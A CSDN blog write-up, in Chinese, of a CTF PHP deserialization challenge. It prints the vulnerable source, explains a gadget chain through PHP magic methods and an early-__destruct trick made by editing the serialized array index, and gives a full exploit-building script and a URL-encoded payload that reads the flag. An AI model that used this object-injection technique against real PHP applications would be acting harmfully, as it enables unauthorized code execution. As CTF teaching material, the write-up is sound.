卷王杯 easy unserialize

本文详细探讨了一个涉及__destruct、__call、__get等PHP魔术方法的代码执行问题。通过示例代码,解释了如何利用这些魔术方法实现类方法的调用链,并介绍了__destruct的垃圾回收机制,以及如何通过修改序列化数据来触发特定方法。最终,文章展示了如何构造payload来触发MeMeMe()方法,以获取flag。
摘要由CSDN通过智能技术生成

因为一个 __destruct函数的GC回收机制 没学过,所以没解出来。

进入题目,给了源码:

<?php
include("./HappyYear.php");
class one {
    public $object;
 
    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }
 
 
    public function __destruct() {
        @$this->object->add();
    }
 
 
    public function __toString() {
        return $this->object->string;
    }
}
 
 
class second {
    protected $filename;
 
 
    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }
 
 
    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}
 
 
class third {
    private $string;
 
 
    public function __construct($string) {
        $this->string = $string;
    }
 
 
    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}
 
 
if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}

要输出flag,就要调用方法MeMeMe()

一眼看过去,魔术方法__get里面的$var[$name]();都可控,可以利用 数组调用类中方法

数组调用类中方法

关于数组调用类中的方法,再给出几个详细的例子,也是算学得更精了:

##例子1

<?php
error_reporting(0);

class one{
        public function test()
        {
                echo "123";
        }
}
$a=array(one,test);
$a();

##例子2

还有一种是形似题目这种调用数组名的:

可以从调试窗口看到得到清晰的划分。

输出:

123

接下来就是触发各类魔方方法

可以看之前的一篇文章

我这里就把链子理一下:

one::__destruct => second::__call=> second::addMe => one::__toString => third::__get => one::MeMeMe

__destruct函数的GC回收机制:

参考:

https://www.jianshu.com/p/d73b3ca418b0

<?php
class one{
        public function __destruct(){
                echo "__destruct";
        }
}

$a = new one();

throw new Exception("高一新生报道");

解决方法:

<?php
class one{
    public $string;
    public function __destruct(){
        echo "__destruct";
    }
}
 $a=new one();
 $b=array($a,NULL);
 echo serialize($b);

以上代码序列化的结果:

a:2:{i:0;O:3:"one":0:{}i:1;N;}

把后面的i:1改成i:0,达到提前销毁对象的目的,从而执行魔术方法__destruct

payload:

<?php
/**
 * @Author: F10wers_13eiCheng
 * @Date:   2022-02-01 11:25:02
 * @Last Modified by:   F10wers_13eiCheng
 * @Last Modified time: 2022-02-07 15:08:18
 */
include("./HappyYear.php");

class one {
    public $year_parm=array("Happy_func");
    public $object;
    

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class second {
    public $filename;

    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(array("string"=>[new one(),MeMeMe]));
$b = array($a,NULL);
echo urlencode(serialize($b));

生成的payload:

a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A0%3BN%3B%7D

标注颜色的是由1改成0,达到提前销毁变量触发__destruct的目的

 

unserialize函数是PHP中的一个函数,它用于将一个字符串表示的序列化对象转换回原始的PHP对象。当使用serialize函数将一个对象序列化为字符串后,可以使用unserialize函数将其还原为原始的对象。 在使用unserialize函数时,如果被反序列化的字符串中包含有特殊的魔术方法(magic methods)如__construct、__destruct、__wakeup等,这些方法会在对象被创建、销毁或者反序列化时自动调用。 反序列化的过程是非常有用的,可以在用户之间传递对象,或者将对象持久化存储到文件或数据库中。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [浅谈php函数serialize()与unserialize()的使用方法](https://download.csdn.net/download/weixin_38726255/13043889)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [反序列化(Unserialize)漏洞详解](https://blog.csdn.net/qq_49422880/article/details/120488517)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [渗透测试基础 -unserialize反序列化漏洞](https://blog.csdn.net/weixin_45488495/article/details/116403291)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值